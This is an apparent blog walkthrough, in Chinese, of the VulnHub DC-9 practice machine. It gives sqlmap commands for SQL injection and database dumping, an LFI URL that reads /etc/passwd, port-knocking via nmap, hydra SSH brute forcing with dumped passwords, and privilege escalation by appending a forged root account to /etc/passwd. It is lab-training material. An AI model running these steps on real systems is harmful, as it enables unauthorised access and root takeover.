Avatar {{帝力于我何有哉}} 不疯魔,不成活。 Be obsessed, or be average.


vulnhub >_ DC-9

DC-9

image-20200619095442395

image-20200619100459511

image-20200619100638593

80页面目录看了一圈没什么有用的,抓search通讯包

image-20200619102730763

image-20200619102902653

sqlmap注入并dump

sqlmap -r search.txt --dbs --batch --dump

image-20200619102933100

admin:856f5de590ef37314e7c3bdf6f8a66dc

image-20200619103044318

admin:transorbital1

image-20200619103401933

image-20200619103429063

看了看还是没有什么新线索,这里可能有一个LFI?

image-20200619103914249

但是我们并不知道参数是什么,可以盲目的猜测到可能是file

http://10.10.10.136/manage.php?file=../../../../../../etc/passwd

image-20200619110522919

考虑到ssh一直被过滤,可以查看/etc/knockd.conf 设置已知道敲端口的顺序

image-20200619110625166

image-20200619111201633

nmap -Pn --host-timeout 100 --max-retries 0 -p 7469 10.10.10.136
nmap -Pn --host-timeout 100 --max-retries 0 -p 8475 10.10.10.136
nmap -Pn --host-timeout 100 --max-retries 0 -p 9842 10.10.10.136

image-20200619112439403

image-20200619112508605

试验了一下之前的登录凭据复用,但是并不正确。

考虑到我们已经得到的信息,可以回数据库,考虑到我们之前只dump了staff库,并没有dump users库

image-20200619113125143

重新dump一下

sqlmap -r search.txt -D users --batch --dump

image-20200619113258714

果然,前期枚举并不够细致,漏下了重要信息。

将凭据生成username.txt和passwd.txt以便传入hydra暴力测试ssh

hydra -L username.txt -P passwd.txt 10.10.10.136 ssh

得到凭据

chandlerb:UrAG0D!
joeyt:Passw0rd
janitor:Ilovepeepee

逐个登录检查

在janitor的目录下发现了更多密码

image-20200619114228294

使用这些密码增加字典,并重复暴力ssh

得到了新的凭证。

fredf:B4-Tru3-001

image-20200619114401671

image-20200619114434633

这是已经编译好的执行文件,在文件夹逐步搜索,在上N级目录中找到了其对应的python源码

image-20200619114904395

image-20200619114948993

看代码是打开第一个文件,读取内容,然后打开第二个文件,将第一个文件的内容写入到第二个文件之后。也就是说我们可以利用这个程序,为passwd文件附加伪造的root用户。

首先先制作用户的hash

openssl passwd -1 -salt evil abcdef

image-20200619115605888

$1$evil$PJUrXHFg5Juh42jLCKQs10

然后仿照passwd文件格式伪造用户信息

evil:$1$evil$PJUrXHFg5Juh42jLCKQs10:0:0::/root:/bin/bash

然后将此伪造内容echo进一个新的文件

image-20200619115800908

接着利用sudo

sudo ../opt/devstuff/dist/test/test evil.txt /etc/passwd		

image-20200619120313373

可以看到已经成功添加

image-20200619120346897

切换到evil用户

image-20200619120427900